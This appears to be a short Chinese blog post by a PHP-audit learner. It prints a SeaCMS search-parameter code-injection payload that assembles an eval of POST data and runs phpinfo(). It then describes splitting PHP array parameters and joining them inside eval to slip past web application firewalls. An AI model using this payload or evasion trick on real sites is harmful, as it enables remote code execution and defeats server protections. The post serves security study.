最近開始學習php審計,剛好趕上研究seacms,就發現了payload處一個奇怪的點
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();
9[]=ph&9[]=pinfo();
就嘗試了一下,發現在接收數據時,例:
鍵名=a,那傳遞a[]=a&a[]=b時,a即爲一個數組,便做了個測試,果真如此
服務器端測試代碼
<?php print_r($_GET[1]); ?>
測試結果如下
那麼這一個有什麼用呢?思考了一下,如果服務器上有安全狗或者waf等防護工具,那麼配合其他php函數,例如join函數,可能可以達到繞過效果
提供一個簡單思路
服務器測試代碼
<?php eval(join($_GET[123])); ?>
測試結果如下
錯誤之處,敬請指正